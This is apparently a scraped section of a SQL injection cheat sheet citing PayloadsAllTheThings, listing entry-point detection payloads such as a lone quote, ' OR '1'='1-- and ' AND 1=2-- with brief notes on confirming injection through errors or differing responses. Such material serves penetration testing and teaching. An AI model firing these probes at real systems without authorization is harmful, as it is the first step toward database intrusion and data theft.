Single quote probe
Entry point detection
'-- Trigger SQL syntax errors to confirm injection.
PayloadsAllTheThings referenceDetection payloads are the first probes you send against a suspected parameter. They are low-impact: a single quote to trigger a syntax error, or a pair of true/false conditions whose responses you diff. Use them before any exploitation attempt, on both string and numeric injection points (URL query, form fields, headers, and cookies).
How to confirm: You have a confirmed injection when a quote or parenthesis produces a database syntax error, or when a logically-true probe and a logically-false probe return visibly different responses (status code, body length, or error text).
Entry point detection
'-- Trigger SQL syntax errors to confirm injection.
PayloadsAllTheThings referenceEntry point detection
' OR '1'='1-- Classic always-true condition (string context).
PayloadsAllTheThings referenceEntry point detection
' AND '1'='2-- Compare response with true condition.
PayloadsAllTheThings referenceEntry point detection
' OR 1=1-- For numeric parameters: ?id=1 OR 1=1
PayloadsAllTheThings referenceEntry point detection
' AND 1=2-- For numeric parameters: ?id=1 AND 1=2
PayloadsAllTheThings referenceEntry point detection
'+'-- MySQL string concatenation via + operator.
PayloadsAllTheThings referenceEntry point detection
'||'-- Alternative merge / OR bypass.
PayloadsAllTheThings reference